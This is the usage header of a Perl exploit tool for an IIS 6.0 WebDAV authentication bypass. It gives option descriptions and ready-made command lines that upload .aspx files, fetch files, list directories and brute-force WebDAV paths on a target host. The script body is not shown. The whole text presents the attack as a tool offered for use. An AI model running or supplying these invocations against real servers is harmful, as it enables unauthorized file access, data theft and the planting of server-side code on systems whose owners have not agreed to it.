# MS IIS 6.0 WebDAV Auth. Bypass Exploit v1.1
# v1.1 add brute force dir fuction.
# v1.0 download、upload and list dir.
#
# Usage:
# IIS6_webdav.pl -target -port -method -webdavpath|-BruteForcePath [-file]
# -target eg.: 192.168.1.1
# -port eg.: 80
# -method eg.: g
# (p:PUT,g:GET,l:LIST)
# -webdavpath eg.: webdav
# -BruteForcePath eg.: brute force webdav path
# -file (optional) eg.: test.aspx
# Example:
# put a file:
# IIS6_webdav.pl -t 192.168.1.1 -p 80 -m p -x webdav -f test.aspx
# get a file:
# IIS6_webdav.pl -t 192.168.1.1 -p 80 -m g -x webdav -f test.aspx
# list dir:
# IIS6_webdav.pl -t 192.168.1.1 -p 80 -m l -x webdav
# brute force + list dir:
# IIS6_webdav.pl -t 192.168.1.1 -p 80 -m l -b dirdic.txt
# brute force + get file:
# IIS6_webdav.pl -t 192.168.1.1 -p 80 -m g -b dirdic.txt -f test.aspx
